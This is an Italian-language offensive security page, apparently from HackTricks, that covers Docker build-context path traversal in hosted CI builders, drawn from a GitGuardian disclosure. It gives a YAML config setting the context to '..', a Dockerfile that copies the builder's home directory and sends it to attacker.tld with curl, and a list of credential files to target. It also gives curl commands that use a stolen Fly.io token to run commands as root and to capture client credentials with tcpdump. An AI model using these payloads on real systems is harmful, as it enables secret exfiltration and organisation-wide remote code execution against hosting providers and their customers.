# Abuso del Docker Build Context nei Hosted Builders (Path Traversal, Exfil, and Cloud Pivot) {{#include ../banners/hacktricks-training.md}} ## TL;DR Se una piattaforma CI/CD o un hosted builder permette ai contributor di specificare il percorso del Docker build context e il percorso del Dockerfile, spesso puoi impostare il context su una directory padre (es., "..") e includere file dell'host nel build context. A quel punto, un Dockerfile controllato dall'attaccante può usare COPY ed exfiltrate secrets trovati nella home dell'utente del builder (per esempio, ~/.docker/config.json). I registry tokens rubati possono anche funzionare contro le control-plane APIs del provider, consentendo RCE a livello di organizzazione. ## Superficie d'attacco Molti servizi hosted builder/registry eseguono più o meno questo quando costruiscono immagini fornite dagli utenti: - Leggere una config a livello di repo che include: - build context path (inviato al Docker daemon) - Dockerfile path relativo a quel context - Copiare la directory del build context indicata e il Dockerfile al Docker daemon - Buildare l'immagine ed eseguirla come servizio ospitato Se la piattaforma non canonicalizza e limita il build context, un utente può impostarlo su una posizione esterna al repository (path traversal), causando che file arbitrari dell'host leggibili dall'utente di build diventino parte del build context e siano disponibili per COPY nel Dockerfile. Vincoli pratici comunemente osservati: - Il Dockerfile deve risiedere all'interno del path di context scelto e il suo percorso deve essere noto in anticipo. - L'utente di build deve avere permessi di lettura sui file inclusi nel context; file di device speciali possono interrompere la copia. ## PoC: Path traversal via Docker build context ```yaml runtime: "container" build: dockerfile: "test/Dockerfile" # Must reside inside the final context dockerBuildPath: ".." # Path traversal to builder user $HOME startCommand: type: "http" configSchema: type: "object" properties: apiKey: type: "string" required: ["apiKey"] exampleConfig: apiKey: "sk-example123" ``` Note: - L'uso di ".." spesso risolve nella home dell'utente builder (es., /home/builder), che tipicamente contiene file sensibili. - Posiziona il tuo Dockerfile nella directory con il nome del repo (es., repo "test" → test/Dockerfile) in modo che rimanga all'interno del contesto genitore espanso. ## PoC: Dockerfile per ingerire ed esfiltrare il contesto del host ```dockerfile FROM alpine RUN apk add --no-cache curl RUN mkdir /data COPY . /data # Copies entire build context (now builder’s $HOME) RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` Obiettivi comunemente recuperati da $HOME: - ~/.docker/config.json (registry auths/tokens) - Altre cache e config cloud/CLI (es., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) Suggerimento: Anche con un .dockerignore nel repository, la selezione del contesto lato piattaforma vulnerabile continua a governare ciò che viene inviato al daemon. Se la piattaforma copia il percorso scelto al daemon prima di valutare il .dockerignore del tuo repo, file dell'host potrebbero comunque essere esposti. ## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) Alcune piattaforme emettono un singolo bearer token utilizzabile sia per il container registry sia per il control-plane API. Se riesci a exfiltrate un registry token, provane l'uso contro l'API del provider. Esempi di chiamate API contro Fly.io Machines API usando lo stolen token da ~/.docker/config.json: Enumerate apps in an org: ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" ``` Eseguire un comando come root su qualsiasi macchina di un'app: ```bash curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` Risultato: remote code execution a livello di organizzazione su tutte le app ospitate dove il token possiede privilegi sufficienti. ## Furto di segreti da servizi ospitati compromessi Con exec/RCE su server ospitati, puoi raccogliere segreti forniti dal client (API keys, tokens) o eseguire attacchi di prompt-injection. Esempio: installare tcpdump e catturare il traffico HTTP sulla porta 8080 per estrarre le credenziali in ingresso. ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}' # Capture traffic curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` Le richieste catturate spesso contengono credenziali client nelle intestazioni, nei corpi o nei parametri di query. ## Riferimenti - [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) - [Fly.io Machines API](https://fly.io/docs/machines/api/) {{#include ../banners/hacktricks-training.md}}